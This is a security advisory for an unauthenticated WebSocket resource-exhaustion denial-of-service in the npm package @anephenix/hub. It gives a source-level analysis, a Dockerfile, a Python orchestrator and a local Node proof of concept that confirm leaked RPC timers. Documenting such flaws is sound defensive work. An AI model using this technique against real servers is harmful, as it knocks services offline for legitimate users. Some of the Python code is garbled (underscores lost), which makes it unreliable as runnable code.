PT-2026-67603 · Npm · @Anephenix/Hub
Published
2026-07-24
·
Updated
2026-07-24
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
@anephenix/hub starts a setInterval polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).Details
When a client connects,
loadDefaultConnectionEventListeners (registered in src/lib/index.ts:128) adds a connection listener that calls requestClientId({ ws, rpc }) for every new WebSocket (src/lib/index.ts:262). requestClientId issues an RPC send for the get-client-id action (src/lib/clientId.ts:112), which internally calls rpc.send.Inside
rpc.send, the payload is pushed onto this.requests (src/lib/rpc.ts:282) and waitForReply is invoked. waitForReply starts a setInterval that polls responses[] every 10 ms for a matching reply (src/lib/rpc.ts:250):ts
// src/lib/rpc.ts:250–267
interval = setInterval(() => {
const response = responses.find(
(r) => r.id === id && r.action === action,
);
if (response) {
if (interval) clearInterval(interval);
// ... resolve and cleanup
this.cleanupRPCCall(response);
}
}, 10);clearInterval is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the this.requests entry. The close handler registered in loadDefaultConnectionEventListeners (src/lib/index.ts:128–134) only calls pubsub.unsubscribeClientFromAllChannels; it does not cancel pending RPC requests for that socket.Data flow (source → sink):
src/lib/index.ts:269—wss.on("connection")accepts any remote WebSocket (no authentication).src/lib/index.ts:272— connection listeners are iterated and invoked.src/lib/index.ts:262—requestClientId({ ws, rpc: this.rpc })is called for every connection by default.src/lib/clientId.ts:112—rpc.send({ ws, action: 'get-client-id' })creates an RPC request.src/lib/rpc.ts:282—this.requests.push(payload)registers the pending request.src/lib/rpc.ts:250—setInterval(..., 10)begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.
PoC
Prerequisites: Docker must be available on the host.
Step 1 — Build the verification image:
bash
docker build --no-cache
-f vuln-001/Dockerfile
-t hub-vuln-001:latest
reports/npm web 272 anephenix hubStep 2 — Run the container:
bash
docker run --rm --network none hub-vuln-001:latestThe container runs
verify.mjs, which:- Starts a
Hubserver on a local port. - Opens a WebSocket and waits for the server's
get-client-idRPC message without replying. - Closes the socket and waits 300 ms.
- Inspects
hub.rpc.requests.length— it must remain1even thoughhub.wss.clients.sizeis0. - Opens five more sockets the same way (batch), then verifies that
pendingRpcRequestsequals6.
Step 3 — Alternatively, run the Python orchestrator directly:
bash
python3 vuln-001/poc.pyExpected output (confirmed):
json
{
"snapshotAfterClose": {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
"snapshotAfterBatch": {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}pendingRpcRequests grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.Minimal inline reproduction (without Docker, inside the repository after
npm ci && npm run build):bash
node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';
const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);
await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
serverClients: hub.wss.clients.size,
pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOFExpected:
json
{"serverClients": 0, "pendingRpcRequests": 1}Impact
This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable
@anephenix/hub server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's get-client-id RPC causes the server process to accumulate one setInterval timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket
connect followed by silence is sufficient.Reproduction artifacts
Dockerfile
dockerfile
FROM node:20-alpine
RUN apk add --no-cache python3 make g++
WORKDIR /app
# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts
# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build
# Copy the vulnerability verification script into /app so node modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs
CMD ["node", "/app/verify.mjs"]poc.py
python
#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)
Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.
Usage:
python3 poc.py
Exit codes:
0 — vulnerability confirmed (PASS)
1 — not reproduced (FAIL)
2 — environment / build error
"""
import json
import subprocess
import sys
from pathlib import Path
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT DIR = Path( file ).resolve().parent
REPO ROOT = SCRIPT DIR.parent # …/npm web 272 anephenix hub/
DOCKERFILE = SCRIPT DIR / "Dockerfile"
POC TAG = "hub-vuln-001:latest"
BUILD CMD = [
"docker", "build",
"--no-cache",
"-f", str(DOCKERFILE),
"-t", POC TAG,
str(REPO ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]
RUN CMD = [
"docker", "run",
"--rm",
"--network", "none", # no external network access needed
POC TAG,
]
def banner(msg: str) -> None:
print(f"
{'='*60}
{msg}
{'='*60}")
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
print("$", " ".join(cmd))
return subprocess.run(cmd, **kwargs)
def build image() -> None:
banner("Phase 1 — Building Docker image")
result = run(BUILD CMD, capture output=False)
if result.returncode != 0:
print("[ERROR] Docker build failed.", file=sys.stderr)
sys.exit(2)
print("[OK] Image built:", POC TAG)
def run poc() -> dict:
banner("Phase 2 — Running vulnerability verification inside container")
result = run(RUN CMD, capture output=True, text=True)
print("--- container stdout ---")
print(result.stdout)
if result.stderr:
print("--- container stderr ---")
print(result.stderr)
# The container exits 0 on confirmed leak, 1 otherwise.
if result.returncode == 2:
print("[ERROR] Verification script crashed.", file=sys.stderr)
sys.exit(2)
try:
data = json.loads(result.stdout)
except json.JSONDecodeError as exc:
print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
sys.exit(2)
return data, result.returncode
def evaluate(data: dict, container exit: int) -> tuple[bool, str]:
"""Return (passed, evidence summary)."""
after close = data.get("snapshotAfterClose", {})
after batch = data.get("snapshotAfterBatch", {})
leaked single = (
after close.get("pendingRpcRequests", 0) > 0 and
after close.get("serverClients", -1) == 0 and
after close.get("clientState", -1) == 3 # WebSocket.CLOSED
)
leaked batch = (
after batch.get("pendingRpcRequests", 0) ==
after batch.get("expectedPendingRpcRequests", -1)
)
passed = leaked single and leaked batch and container exit == 0
evidence = (
f"snapshotAfterClose={json.dumps(after close)}; "
f"snapshotAfterBatch={json.dumps(after batch)}; "
f"container exit={container exit}"
)
return passed, evidence
def main() -> None:
build image()
data, container exit = run poc()
banner("Phase 3 — Evaluating results")
passed, evidence = evaluate(data, container exit)
if passed:
print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
else:
print("[FAIL] Leak NOT observed — check container output above.")
return passed, evidence, data
if name == " main ":
passed, evidence, raw = main()
verdict = "PASS" if passed else "FAIL"
reason = (
"소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
"런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
"배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
if passed else
"컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
)
result path = SCRIPT DIR / "phase2 result.json"
phase2 = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build command": " ".join(BUILD CMD),
"run command": " ".join(RUN CMD),
"poc command": f"python3 {Path( file ).name}",
"evidence": evidence,
"artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
}
result path.write text(json.dumps(phase2, indent=2, ensure ascii=False))
print(f"
[INFO] Results written to {result path}")
sys.exit(0 if passed else 1)Fix
Resource Exhaustion
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Weakness Enumeration
Related Identifiers
Affected Products
@Anephenix/Hub